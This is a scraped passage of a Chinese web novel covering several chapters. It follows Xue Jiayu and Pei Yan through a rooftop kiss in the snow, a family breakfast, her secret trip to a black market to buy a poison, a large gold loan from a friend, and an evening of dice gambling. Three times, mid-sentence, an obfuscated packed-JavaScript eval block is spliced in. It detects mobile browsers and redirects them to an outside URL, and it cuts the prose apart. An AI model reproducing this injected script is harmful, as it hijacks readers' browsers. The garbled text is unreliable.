裴砚将梯子搭在屋檐上,“上去,我给你扶着梯子。” 薛嘉玉走到梯子面前,有些踟蹰,她将暖手炉递给裴砚,接着便两只手扶着梯子,一步一步地向上爬,这梯子摇摇晃晃的,她都不敢分心,生怕一不小心就失了平衡。 他瞧着薛嘉玉爬得这么小心翼翼,不忍笑了一声,“不用害怕,我在下面呢,要是真摔了,我也能接住你。” 她默默在心里记了他一次,薛嘉玉爬到屋檐上面后,自己的双腿立刻陷入了厚厚的雪堆里面,她拨了拨面前的白雪,也不管湿不湿,就一屁股坐在了屋檐上面。 底下的裴砚见她上去后就直接坐下来了,连管都不管他了,他两手叉腰,扬起脑袋,冲着上面悠闲的薛嘉玉喊道:“这么没良心啊?自个儿上去了就不管我是不是?” 薛嘉玉轻哼一声,用双手捧起一堆白雪,然后跪着往前面挪了挪,接着她两手一松,那堆白雪立刻顺着手心下滑,不偏不倚地砸在了裴砚的脑袋上。 突然被雪打了一下的裴砚一脸懵地瞧了眼自己身上的雪,随即用两只手拍了拍自己脑袋上残余的雪,紧接着他三两下就爬了上去,然后顺手抓起一坨雪,朝着薛嘉玉身上轻轻砸去。 幸好她灵活敏捷,在电光火石之间迅速躲开了雪球的攻击,薛嘉玉自豪地冲着裴砚做了个鬼脸,“没有砸中我哦。” 裴砚不忍心拿雪球砸她,将手里拎着的暖手炉塞进她的怀里,然后一把揽住她的腰肢,“我舍不得砸你,把暖手炉抱着,别冷着了。” 薛嘉玉将两腿伸直,坐在屋檐上可以看见整个裴府的全貌,她不敢说话说得太大声,以免被裴珩发现。 这时候,夜已深了,大抵是因为夜晚更加寒冷,所以天上蓦地下起了鹅毛大雪,被白雪填满的空中忽然间出现了一盏又一盏的孔明灯,每一盏随风飘扬的孔明灯都寄托了人们的思念和愿望。 薛嘉玉瞧着天上的孔明灯,倒是有些疑惑,“这不是还没到新年嘛,怎么就有人放孔明灯了?” “孔明灯又不是只有过年才能放。”说到这里,裴砚倏而转头看向她,她两眼亮晶晶的,像是黑夜中闪烁的繁星,他问,“阿玉,过年的时候,你和我们一起过,好吗?” 她想着过年的那一天还比较早,在一月中旬,想必那时候她还没有了结当年的事情,所以薛嘉玉坚定地点了点头,“好,我们一起过。” 薛嘉玉两手撑着屋檐上的朱红色瓦片,两腿轻轻扑棱着,她的视线漫无目的地游荡着,可没过一会儿就停顿在了裴府的后花园。 她用手肘撞了撞裴砚的手臂,冲着后花园的位置扬了扬下巴,“诶,你瞧,长嫂他们在那儿幽会呢。” 闻言,裴砚立刻将好奇的目光投了过去。 只见后花园里没有他人,仅有他们二人,裴珩一手揽着她的腰,一手轻柔地放在蒋宁显尚且平坦地小腹上,他弯下腰,对着她的小腹说了几句话,想必是对肚子里这位尚未诞生的孩子说的。 随后,裴珩直起腰来,趁她不注意,立刻亲了一下她的额头。 薛嘉玉一向都喜欢看别人的幸福生活,见到此情此景,她激动地用手拍了拍裴砚的大腿,“哇,他们亲上了!裴砚,你学着——” 最后一个字还没说出来,她的脸颊就被旁边的人给亲上了,薛嘉玉惊得一时间都不会说话了,这次裴砚没有那么轻易地将她放过,而是将右手掌在她的耳后,强硬将她的脑袋转过来,他那湿润的双唇一路从脸颊滑到薛嘉玉的唇上,紧接着他得寸进尺,像是要将面前的小娘子一口吞了。 薛嘉玉被亲得有些喘不过气,她用两只手心抵住他结实温暖的胸膛,想要以此来阻止他,可是裴砚根本不管不顾,只不断地攻城掠地。 好半天,裴砚才依依不舍地将她松开,薛嘉玉此时此刻顿觉自己全身瘫软无力,她两手揪住裴砚的衣襟,大口大口地呼着气。 裴砚垂眸瞧了眼她抓住自己衣裳的手,忍不住打趣儿,“怎么?又想扒我衣服?” 她扬起手掌心,用力拍在他的胸膛上,“怎么?不行吗?” 裴砚捉住你的手,“我倒是想让你给我脱了,可是这是在外面,脱了不雅观。” 薛嘉玉一把将自己的手挣脱,“你倒是想得挺美。” 他抱着薛嘉玉,两手搭在她的脊背上,裴砚的语气忽而正经了不少,“我们两个都会等到成婚那日的。” 薛嘉玉将埋在他胸膛里的脑袋抬起来,下巴与脖子形成了一道优美的弧线,她长着一双弯弯的远山眉,眉角有一颗黑色的小痣,裴砚一向最喜欢亲吻这个位置,她的目光十分炽烈。 “文溪,我们才认识不久,为何你就如此想要与我谈婚论嫁?” 裴砚腾出一只手,捏了一把她的脸颊,“因为我只娶心爱之人,而你就是我的心上人。” 她忍不住打了个哈欠,“我困了,文溪。” “好,我送你回去。” 本来裴砚是打算自己先下去,给她扶着梯子的,可是原先爬上来的时候,薛嘉玉被他狠狠地嘲讽了一番,所以她这次赌气要自己一个人下去。 屋檐上的一些白雪开始逐渐融化,水滴顺着瓦片向下滴落,裴砚瞧着那梯子沾上水后有些晃,有些担心,还是用手扶着梯子的顶部。 薛嘉玉平稳落地之后,她根本不管身后的裴砚,直接拍拍屁股回到自己房里,可是刚关上门,房门就被裴砚敲响,伴随而来的是他温润如玉的声音。 “一夜好梦,阿玉。” 有了裴砚的祝福,她的确一夜好梦了,但就是因为做了一个让人舍不得醒来的美梦,所以薛嘉玉起晚了,等她从床上爬起来梳洗的时候,侍女们说他们已经开始用早膳了。 薛嘉玉只随便糊弄了两下,就连忙拿着昨日给裴珩和蒋宁显买的礼物跑远了,裴砚远远地瞧见了她的身影,便提前拉开自己身边的凳子,等着她跑到自己身边坐下。 她风风火火地跑过来,冲着裴珩和蒋宁显鞠了下躬,“抱歉,兄长、长嫂,我起晚了。” 裴砚抢先一步对她说:“无碍,过来坐着吃早膳吧。” 薛嘉玉绕到裴砚身边,并未先坐下用膳,而是将自己手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15188327|162194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中攥着的礼物分别递给他们二人,“这是我的一点点心意,还望你们能够收下。” 裴珩放下手里的碗勺,伸出手接过那枚玉佩,“我不是说过不用买礼物的吗?” 一旁的蒋宁显板着脸,用手肘撞了撞他的手臂,不满地给裴珩使了个眼神,旋即笑脸盈盈地看着薛嘉玉,“裴珩他不会说话,你不用管他。而且我们家规矩并不严格,起晚了也不是什么多大的事,不必说抱歉的。” 薛嘉玉顿时舒了口气,她坐在凳子上,发现餐桌上有一盘煎饼,煎饼中间还夹着肉,她将视线上移到蒋宁显身上,“长嫂,这······” 蒋宁显一边用筷子给她夹了好几块煎饼放在碗里,一边说:“我听文溪说,你很喜欢吃煎饼,我就专门给你做了一盘。快趁热尝尝吧。” 她抄起筷子,夹了一块煎饼来吃,一口咬下去相当酥脆,油滋溜滋溜地冒出来,里面的肉沫还尚有余温,薛嘉玉眸光闪烁,“好好吃,谢谢你长嫂。不过还是不劳烦你亲自下厨了。” “没事,我也挺喜欢自己下厨的。” 薛嘉玉忽然间有个想法,“长嫂,既然你这么喜欢做饭,而且做出来的菜色香味俱全,那你为什么不去集市上开一间食肆呢?” 说起这个,蒋宁显的一双弯眉沉下去了几分,“其实我也曾想过,但裴珩毕竟在朝中做官,我怕要是以后食肆出了什么问题,会成为裴珩的——” 蒋宁显还没有将话说完,裴珩就忽然出声打断了,只听裴珩不苟言笑地说了句:“你想做便做吧。” “啊?”她顿时就懵了,偏头看向继续埋头喝粥的裴珩。 裴珩说不来多么肉麻的话,看她这样盯着自己,还以为自己方才是不是又说错话了,他给蒋宁显夹了一只翡翠虾饺,“我是说,你要是想开一家食肆,就去开吧,不必顾虑我。” 一旁的裴砚对他说出来的话嗤之以鼻,“哟,怎么从蒋府回来一趟后就跟变了个人似的?以前不是挺古板好面子一人吗?没想到竟然也能做出翻墙这种事情来。” 说罢,裴砚的大腿处忽然间传来一阵钻心的疼痛,是薛嘉玉狠狠掐了一把。 她此时此刻根本不敢抬眼,只一味地掐着裴砚的大腿。 裴砚将她的手拨开,然后一把包住她的手,凑到她的耳边悄悄说:“别担心,他们哪有你想象的那么凶神恶煞啊?你不要总是在裴府过得战战兢兢的,也不要总是看别人的脸色过日子,这样你自己也很累的。” 蒋宁显将视线投到对面垂着脑袋的薛嘉玉身上,眼神中并无责怪,她转头对裴珩说:“是我说出去的,你休要怪罪他们。” 裴珩盯着自家弟弟看了许久,本想责怪他几句,但是又想到自己这个弟弟自从长大后就很少和他推心置腹,再后来几乎每一次见面都是吵架,甚至还搬出去一个人住了,现在好不容易肯为了自己心上人回来住了,他也不想再把裴砚逼走。 “罢了,裴砚说的也是事实。” 裴砚忽然觉得自己的兄长好陌生,他伸手过去,用手捏了一把裴珩的手臂,“你······当真是我那如假包换的兄长?” 裴珩一把将自己的手往里面收了收,看向自己弟弟的眼神中满是嫌弃,“你觉得呢?你这次回来,就在这儿长住下来吧,不要回你那小裴府了。” “你平时对阿玉好一些,不要总是对她板着一张驴脸,我就答应你。” 45. 黑市 裴珩自认为自己对她还算宽容,“我哪儿对她板着一张驴脸了?你哪只眼睛瞧见了?” 蒋宁显怕这兄弟俩又吵起来,连忙拉住了裴珩,她冲着薛嘉玉莞尔一笑,“阿玉,你慢慢吃,不用着急,我和裴珩去聊点事。” 随后,裴珩就被迫跟着蒋宁显走了。 现如今,桌子上就只有裴砚和薛嘉玉两个人,薛嘉玉有些担忧,“裴砚,你不用这样的,否则显得我有些不识好歹,我不想给兄嫂留下不好的印象。” 裴砚用手捋了捋她的青丝,他给薛嘉玉夹了好几块煎饼,“我说了,你就把裴府当成你自己家,我的家人还算随和,不会随便为难别人的。你不要过得担惊受怕的,生怕自己一不小心就坏了规矩,在裴府几乎就没有‘规矩’这两个字。就像当初长嫂刚过门,本应每日晨昏定省,但我娘嫌麻烦,就直接给废掉了。” 他的左手从后面绕过去握住薛嘉玉的手臂,将她拢紧了一些,“所以,请你不要担心。” 其实薛嘉玉也想要改一改这个习惯的,只是自己从小就没了父母,和外祖母相依为命,外祖母年事已高,只能挖点菜拿去卖,赚点小钱,薛嘉玉从小就跟着外祖母出去卖菜,为了把菜卖出去,她不得不在集市上大声吆喝,看那些行人的脸色,有的行人心好,会去瞧一瞧外祖母的菜,有的人则会嫌她挡道了,一脚把她踢开。 所以她总是很会看别人脸色,尤其是到了一个新环境的时候。 她微微颔首,“我知道了。” 裴砚吃饱喝足后,就用手帕擦了擦嘴周,接着他将手帕收好,凑过去飞速地吻了一下她的眉角,“我要去大理寺了,照顾好自己。” “你别把我当小孩儿一样看待。” “好好好,是我低估你了,行了吧?” 话音刚落,薛嘉玉就顿时感觉到自己的眉角又被吻了两下,她刚想转身揪住这个惯犯,可是裴砚就像是离弦的箭一般,稍不留神就发现他已经溜达了大门口。 薛嘉玉今日也没有闲着,她换上了一套素衣,身上披着深蓝色暗花斗篷,依旧不带侍从出门。 路面积了一层厚厚的雪,她的鞋都被沾湿了一些,还好袜子没湿。 她走到一座深山上,此时的山白雪皑皑,此处虽然僻静,但胜在能够一览雾凇奇观,天地间皆是白茫茫的一片。 最后,她停留在了一个集市门口,这里就是传说中的黑市。 薛嘉玉用手拉住帽檐,向下扯了扯,遮住了半张脸,随即才走进这传说中会吃人的黑市。 黑市里的东西琳琅满目,一应具有,在这里你可以购买一切稀奇古怪地玩意儿,也可以将你手里所拥有的罕见物品卖掉或是与他人以物换物,亦或是在这儿定期举办的拍卖行里进行拍卖,能上拍卖台的玩意儿那定然是千年难遇的珍宝。 为了不暴露自己的身份,她将自己身上那枚绝无仅有的白虎玉佩取了下来,薛嘉玉刚走进去几步,就与黑市里来自四海八方的人对上了眼,他们长得各有不同,有的少了只眼睛,有的少了只胳膊,有的少了条腿。 薛嘉玉简单扫了一下面前的人,他们除了缺斤少两这个特点之外,还各个都长得凶神恶煞。 她一个小娘子还成了这黑市里面最稀有罕见的了。 那群人好整以暇地从上到下扫视了她一遍,随后一位手里拿着把刀的男子嗤笑一声,“小娘子,这里可是黑市,不是你这种小娘子应该来的地方,你是走错了吧?” 薛嘉玉在人群中寻找了一下声音的来源,锁定目标之后,便向前走了几步,她站在那位留着络腮胡的壮汉面前,镇定自若,“我没有走错,我就是来黑市做交易的。” 那男子的目光中流露出一丝惊讶,他从薛嘉玉的着装中能够看出来这应当是一富贵人家的姑娘,但若真是出自富贵人家,那不应该派自家府里的小厮来黑市买卖东西吗?何必自己亲自前来? 男子双手抱在胸前,“哦?你是来买东西的?还是卖东西的啊?” 她浅浅扬起嘴角,“我来买东西,我要买的就是黑市仅有的鬼仙蛊。” 听见鬼仙蛊这三个字,面前的一群人皆是一愣,眸中尽显诧异,要知道这鬼仙蛊堪比见血封喉,只要服用下去,就是药师佛来了也束手无策,因此鬼仙蛊在黑市里面被炒到了一个极高的价格,那些人原以为这光鲜亮丽的小娘子是走投无路了,来黑市卖一些稀奇的首饰,没曾想居然是来买鬼仙蛊的。 只听那人说:“鬼仙蛊乃是黑市里相当罕见的玩意儿,从不直接明码标价售卖,都是用于拍卖的。” 她言简意赅地问:“什么时候拍卖?” “明日申时。”男子的语气中夹杂着一丝讥笑,“不过小娘子你当真要买鬼仙蛊?每一次拍卖,鬼仙蛊都是最抢手的那一个,价钱甚至能够被抬到上千两银子,那可是上百两黄金啊,小娘子当真要为了鬼仙蛊倾家荡产。” “只要能买下鬼仙蛊,倾家荡产也在所不惜。” 薛嘉玉默默记下了明日拍卖会开始的时间,旋即便转身离开了这里,路上她在想应该如何凑到上百两黄金,自己身上值钱的物件儿没有几个,还全都是裴砚给的,那是万万不可能拿去当掉的。 忽然间,薛嘉玉的脑海中浮现出了一个人影。 待下了山后,时间已然不早了,若是太晚回去,兴许会引来裴砚的怀疑,因此薛嘉玉加快脚步,最终停留在了崔府门口。 她叫守门的仆从去通传一下崔景天,就说“薛嘉玉有要事找她商量”。 知道薛嘉玉来自家门口主动找她了,崔景天立马放下手里的书简,跟着仆从大步流星地往门口走,她一把抱住薛嘉玉,“怎么今天想到来见我了?” “景天,我是来……向你借钱的。” 崔景天脸上不禁冒出一丝疑惑,“借钱?裴砚苛待你了?” 薛嘉玉笑着摇摇头,“没有,我是想买样很重要的东西,但是我现在手里没有那么多钱,又不想像裴砚开口要,免得他问东问西的。” 她一边将薛嘉玉请进府里坐着喝茶,一边往细里面问:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15188328|162194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你要借多少钱?放心大胆的要,不用跟我太客气。” 薛嘉玉果真听了她的话,狮子大开口,“我想借五百两黄金。” 崔景天嘴巴里含着的茶水顿时间全都喷洒出来,她轻轻咳咳了两声,“什么?五百两?还是黄金?” “我知道这个金额很大,但我确实很需要这笔钱。” “阿玉,你要在长安最富贵的地段置办宅子啊?” 她不便直说鬼仙蛊的事情,薛嘉玉只好硬着头皮顺着她的话往下面说,“对啊,我打算置办一套宅子。” 崔景天的眸中划过一丝惊喜,她戏谑道:“当作你们俩的新婚房屋?” 薛嘉玉同样硬着头皮,咬咬牙点了点头。 “五百两的话,我应该没什么大问题,你现在就在这儿等着,我去一趟钱庄。” 见崔景天答应了,她立刻从椅子上弹起来,一把将崔景天抱住,“谢谢你,景天。” 崔景天单手握住薛嘉玉的手臂,“快松开快松开,我快被勒死了!” 她找来几个侍从,让他们好好招待薛嘉玉,自己则跟着婢女去福来钱庄取金子了。 薛嘉玉在崔府等了将近一个时辰,终于瞧见崔景天从钱庄回来了,她的身后有好几个小厮抬着大箱子一块跟了进来,崔景天单手插着腰,另外一只手则是重重地拍了拍箱子,伴随着几声响亮的咚咚声。 “快来瞧瞧。” 薛嘉玉走到大箱子面前,揭开盖子,里面金光闪闪,差点把她的双眼给亮瞎了,她从未一次性见过这么多的金子,里面的金元宝全都整整齐齐地放在里面,随便拿一个出来都是能砸死人的地步。 “真的很感谢你,景天。” 崔景天不以为意地摆了摆手,“其实这也不是我一个人的功劳,我到了钱庄才发现我只有四百两黄金可以随意挪用,就找陈晟借了一百两黄金。” 闻言,薛嘉玉的脸上浮现出一种惊诧之色,她有些结结巴巴地说:“什么?你跟陈晟说了我要借钱的事?” 崔景天呆呆地点了点头,“对啊,我还跟他说了你是借钱打算置办新婚宅子,给裴砚一个惊喜,他还托我跟你道一声祝福呢。不过你不必担心,我给陈晟下了封口令,不让他把这个惊喜悄悄透露给裴砚。” 听及此,薛嘉玉瞬间松了口气,她劫后余生地用手掌心抚了抚胸口,“那就好那就好。” 她回头瞧了眼跟五指山差不多重的大箱子,“这箱子我叫小厮悄悄抬到裴府去吧,想必这个时候裴砚还没有回去。” “不可,就先放在你这里吧,我明日来取。” 崔景天想了想,也是,免得被裴砚发现,她微微颔首,应了下来,“好。” 离开崔府后,薛嘉玉就在心里面默默祈祷,希望陈晟千万不要在裴砚面前说漏嘴了,不然她定要让陈晟死无葬身之地。 回到裴府的时候,裴砚已经回府,可裴珩还没有回来,裴砚瞧见薛嘉玉终于从外面回来了,便抬起手,冲她招了招手,“阿玉,过来,我问你一点事。” 46. 礼佛 薛嘉玉心中顿时警铃大响,她有些犹豫,不敢走上去,怕裴砚会质问自己,会怪罪自己,这么多年了她身边还不容易多了几个真心待她好的人,薛嘉玉不想这么快就失去他们。 她站在原地,刚迈出一只脚,就又收了回来,薛嘉玉停滞不前的模样,被裴砚尽收眼底,他想着自己这不是还没说是什么事嘛,她怎么就害怕得不敢过来了呢? 她两只手揪住裙摆,薛嘉玉想临阵脱逃,“我有点事情,先回房了。” “等等!” 裴砚觉得她今日甚是反常,好似心里面揣了很多事情一样,他大步流星地朝着薛嘉玉走去,在她刚要拔腿逃走之时,及时抓住了她的手腕。 他一把将薛嘉玉给拽了回来,薛嘉玉踉跄了好几下,才稳住身体重心,她不敢回头,“你这是做什么?我想回房休息一会儿。” 裴砚的眸中隐隐藏着一股怒火,但他的语气依旧平静,“我不是说了吗,我有事情要问你。” 她闭上双眼,睫毛轻轻扫在眼睑上,薛嘉玉深呼吸一口,“你说吧。” 只听他问:“后天我爹娘可能会回来一趟,我和兄嫂他们都要陪他们一块儿去城郊的千佛寺礼佛,你可想要和我们一起去?” 薛嘉玉眉毛一挑,她蓦地转过身来,脸上不见先前的紧张,“你是问我这件事情啊?” 裴砚单手叉腰,好笑道:“那不然你觉得我是想要问你什么呢?瞧你刚才那一副偷鸡摸狗的模样,不知道的还以为你是不是背着我干了什么坏事儿呢。” 她悄悄从嘴里舒了口气,薛嘉玉的嘴角终于溢出一丝轻松的笑容,她点了点头,“好,我跟你们一起去。” “见面礼的话我帮你准备了,你就别去买了。”裴砚想到她刚刚好似有些不太开心,便关切地问,“方才瞧你好像心情不怎么好,是遇见了什么烦心事?还是身体不舒服?癸水来了?” 薛嘉玉两手捂着肚子,摇摇头,“都不是,癸水要下周才来呢。应该是因为天气冷了吧,都没什么好玩的。” “那我带你去玩?” 她疑惑道:“为什么?” 裴砚笑着用指关节轻轻敲了下她的脑门,“刚不是你自己说的因为没什么好玩的,所以才不开心吗?我不想看见你郁郁寡欢的。走吧,我带你去找乐子。” 薛嘉玉的手被他牵着,裴砚自顾自地往前面走,她就在后面跟着,时不时回头看几眼,有些忧虑,“可是我们这个时候出去玩的话,就赶不上回来吃晚饭了,兄长心里面会很失落的吧。” “他有什么好失落的?他现在不是有长嫂陪着吗?” 她大步上前,跟在他的身边,然后主动与裴砚十指相扣,紧密不分,薛嘉玉瞧了裴砚一眼,“其实我发现兄长心里面还是挺在乎你的,只是有的时候他的关心不说出口,你分府的时候,兄长定然很舍不得。” 裴砚像是听到了什么笑话一般,他轻笑一声,缓缓道:“我怎么没发现你平日里这么关注我兄长呢?你到底爱着谁啊?” 薛嘉玉往裴砚的方向挪了一小步,将自己的脸颊贴在他的手臂上,左右摇晃了一遍,她由衷地说:“当然是你啊,这是毋庸置疑的好吧。” 他们已经离开府邸,往街道上走了好些时候了,薛嘉玉见他还没有停下脚步,便好奇问道:“文溪,你到底要带我去哪里啊?” 裴砚将手上的力度加重了几分,紧紧地握住薛嘉玉的手,“马上就到了。” 过了片刻,二人站在了一家热热闹闹的店铺面前,薛嘉玉将视线上移到屋檐上挂着的牌匾上,上面写着四个字——永胜赌坊。 薛嘉玉忍不住跟着念了出来,“永胜赌坊?文溪,你带我来赌坊做甚?” “带你来这儿放松一会儿,本金我出,赢了钱都归你,输了我给你补上。” 她想不明白裴砚为什么要这么做? 他想让自己开心,也不至于把自己的钱赔进去吧? 而且……要是输的太多的话,那可如何是好? 薛嘉玉举起双手,使劲儿晃了晃,“不不不不,不行,你这不纯纯利人损己吗?” 裴砚的嘴角扬起一抹意味不明的笑容,他单手揽住她的腰肢,强行把她带进去,“来嘛,玩会儿再走。” 她被迫踏进了赌坊,里面此起彼伏的谈笑声如雷贯耳,每一个人手里面都拿着一个装着三个骰子的盅,一边顺时针转三圈,然后逆时针转三圈,一边嘴里嘀咕着:“老天爷啊,保佑我赢一把吧!” 薛嘉玉登时好奇一个问题,“可是……我跟谁赌呢?” 裴砚忽然打了一个响指,“跟他。” 她将视线投向前方款款走来的金羽,薛嘉玉的瞳孔蓦地瞪大,“我跟金羽?” 金羽身着浅色衣裳,瞧着倒与平日里穿侍卫服的模样不一样了些,他走到薛嘉玉面前站定,嬉皮笑脸地说:“薛娘子可莫要瞧不起我,我自小就跟着裴大人混迹长安各种赌坊,耳濡目染。” 裴砚抬起腿,用力踢了一下金羽的膝盖,语气中不乏威胁,“好好说话。” 薛嘉玉没有自己真正玩过骰子,只看别人玩过几局,她站在牌桌面前,盯着手里的三个骰子,茫然地回过头看向裴砚,“怎么玩啊?我不会。” 他耐心解释:“这里有三个骰子,总数为十八,那么小于九的则为小,相反则为大,你们二人轮番摇骰子,摇完之后对方要猜测是小还是大?或者猜豹子,但豹子是指三个骰子的指数相同的情况。输了的人,就将你之前压出来的银子全都拿给对方,以此类推。” 薛嘉玉如今总算明白了为什么那么多人都执着于靠赌博来实现一夜暴富的梦想,原以为每一盘的筹码都是将上一盘的筹码清零,单独给出新的一轮筹码,没曾想居然是和滚雪球一样,越滚越大。 “我明白了。” 裴砚从袖子里掏出一个钱袋子,钱袋子被里面的银两撑得鼓鼓的,好似都快要把袋子撑破了似的,他把钱袋子塞进薛嘉玉的手心里,“拿去吧。” 她是保守派,就算手里有这么多银子,但第一盘,薛嘉玉也只抠抠搜搜地从袋子里面掏出了一两银子出来。 反观金羽,他则是掏了足足二十两银子出来。 金羽想着女士优先,就让薛嘉玉来开一个好头。 本想着来个鸿运当头,可是薛嘉玉的手气实在是太倒霉了,居然摇出来了三个二,还被金羽给猜中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15194742|162194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 幸好她只拿了一两银子,输走了也不肉疼。 裴砚可是激进派,瞧着她玩得这么保守,心里面有点看不过去,于是他从椅子上蹭起来,不疾不徐地走到薛嘉玉身边,直接从钱袋子里面掏出了五十两,“压了。” 一切都发生得实在太快了,薛嘉玉还没摁住他,那五十两就已经被推上了筹码位,她生气地瞪了他一眼,“你给这么多做什么?一会儿怕是要输得血本无归。” 可裴砚满不在乎,他轻轻拍了拍薛嘉玉的手背,“无碍,我给你准备了很多。” 薛嘉玉真觉得这人是有钱找不到花头,与其拿这些钱让她全都赔在牌桌上,还不如拿去接济那些贫苦人民。 她叹了口气,心道:果然,有钱就是豪横。 金羽“啪”的一声将盅放在牌桌上,伸出左手,做了一个“请”的手势,“薛娘子,请猜吧。” 薛嘉玉两手撑着牌桌,一双清澈的眸子直勾勾地盯着对面那个黑黢黢的盅,大眼瞪小眼,那道眼神似乎是想直接穿过盅,射向里面的三个骰子。 半晌后,她才极其纠结地给出了答案,“小。” 金羽揭开谜面,谜底就此浮现,一个六一个三一个五,总数为十四,为大。 他喜笑颜开地将那五十两银子尽数收入囊中,“多谢薛娘子慷慨解囊。” 本来输掉了这五十两银子,心里面就已经很郁闷了,现如今还要被金羽阴阳怪气地嘲讽,薛嘉玉心里面极其不爽快,她将如寒刀般的目光扫向裴砚,似是想要直接在这里把他生吞活剥了一样。 裴砚看懂了她的眼神,却假装不明白,他无奈地摊了摊手,宽慰道:“输赢乃兵家常事,这次输了不代表下一次就会输。况且你现在看似是输给了金羽很多银两,但是万一之后某一盘就逆风翻盘了呢?到时候,他赢走的那些银子岂不就全部回到你的钱袋子里面去了?” 薛嘉玉背过身去,从钱袋子里面掏出二十两,然后眼疾手快地接过金羽滑过来的盅,她这次用蛮力狠狠摇了好几下,接着放在牌桌上,两只眼睛都写着“我要把刚才输的银子赢回来”。 然而,天公不作美,有的时候希望越大失望越大,当她揭开盖子的时候,顿时觉得自己是不是被霉神附体了? 不然为什么能够连续输上三个回合? 截止到目前,才寥寥三局,就已经输掉了七十一两银子!有五十两还是被裴砚那个败家子给败出去的。 薛嘉玉不会赌博,但还是知道“适可而止”这四个字是怎么写的,她放下手里的盖子,正欲转身离开,却被裴砚及时扣住手臂,她双目无神地回过头来,“大人,你就放过我吧,再这样输下去,恐怕就真的会血本无归。赌博这玩意儿浅尝辄止即可。” 可是裴砚并未松开她的手,“阿玉,继续玩会儿,不是才输了几十两吗?很容易回本的。” 她严重怀疑裴砚并不是单纯带她来这里找乐子的,而是来看她笑话的。 薛嘉玉重回牌桌,想着既然裴砚这么不在乎钱财,那就索性给他一次性输完,她将那一整个钱袋子都压了出去,然后撸起两边的袖子,眸中尽显坚定,“来,今天定要跟你决一死战。” 47. 拍卖 金羽默默将眼神投到裴砚身上,只见裴砚无声地点了点头,他才顶着压力摇了摇盅。 想着自己本来就已经输了那么多了,薛嘉玉干脆就随便猜一个,她猜了个大,然而结果却是小。 她一脸心痛地看见金羽笑眯眯地把那一整个钱袋子都给拿走,薛嘉玉实在看不下去,干脆把头偏过去,企图欺骗自己。 本来以为裴砚看自己输了这么多,会说教自己几句,可是裴砚并没有,而是温柔地盯着她,用下巴朝着牌桌扬了扬,随即从袖子里又拿出一个更大的钱袋子,“继续玩吧。” 薛嘉玉接过他抛来的钱袋子,这次的钱袋子重得她差一点都要拿不住了,她一边打开来数里面有多少银子,一边问:“文溪,我都输了这么多了,你还继续给钱让我赌?” “区区这点小钱,我还是给得起的。”说着,裴砚从椅子上站起来,他走到薛嘉玉面前,将右手轻轻放在她的腰上,“我出去买点东西,你们俩慢慢玩。” 她点点头,没有过多询问。 薛嘉玉低头,将视线挪到钱袋子上,却发现这一次里面装得不是银锭,而是金子。 她没有一个一个地数,只大致看了一下,估计里面有好几十两金子。 为了能够不负裴砚所望,将他给的钱全都赢回来,薛嘉玉决定要和金羽一争到底。 可是又接着输了两盘之后,金羽的运气似乎日益不似先前那般好了,而薛嘉玉则是玩得越来越趁手,不出三局,她就已经把之前几盘输的钱全都给赢回来了。 正巧这个时候裴砚从外面回来了,他的左手握着一杯香饮子,右手提着半只烤鸡,他将这两样东西放在桌子上,冲着薛嘉玉招了招手,“阿玉,过来吃点东西。” 薛嘉玉将自己方才赢回来的银钱和金子展示给裴砚看,她整张脸都写着“骄傲”这两个字,就连腰杆子也挺得更直了,笑脸盈盈道:“文溪,你快看,我把之前输的都赢回来了。” 裴砚将那半只烤鸡从袋子里面拿出来,“这么厉害?那快吃点好吃的,一会儿继续玩,最好把金羽的家底都给掏光。” 站在牌桌面前的金羽顿时觉得自己命好苦,他一脸委屈地控诉:“大人,我还没娶媳妇儿呢。” 薛嘉玉坐在椅子上,凑近嗅了嗅烤鸡,香味立刻充盈了她的鼻腔,薛嘉玉连忙用手掰下一只鸡腿,一口啃下去,大半个鸡腿的肉都快没了,她的嘴角沾上了一些油,裴砚细致地用手帕给她擦了擦。 一旁的金羽瞧见此情此景,一股酸涩感油然而生,他绕到裴砚身后,语气极其委屈,“郎君,我的呢?不带您这样厚此薄彼的。” 裴砚瞧向他的时候,眸中的神色忽然间就变了,眼中柔情不见,转而替代的是正经和无奈,“你来之前不是已经吃过东西了吗?晚上不宜吃得太多,否则对身体不好,我这是关心你。” 金羽不服气,用手指着薛嘉玉面前那油腻的烤鸡,“郎君,晚上可不宜吃油腻的食物,薛娘子是女子,定然很注意身材的。” 然而裴砚却说:“她本来就不胖,吃点又怎么了?你给我一边儿去。” 薛嘉玉吃得有点腻,便将脑袋凑到香饮子面前,就这杯子吸了一口里面香喷喷的茶饮,口感丝滑,虽然甜但是不腻,而且喝了一口就会上瘾,让人忍不住喝第二口。 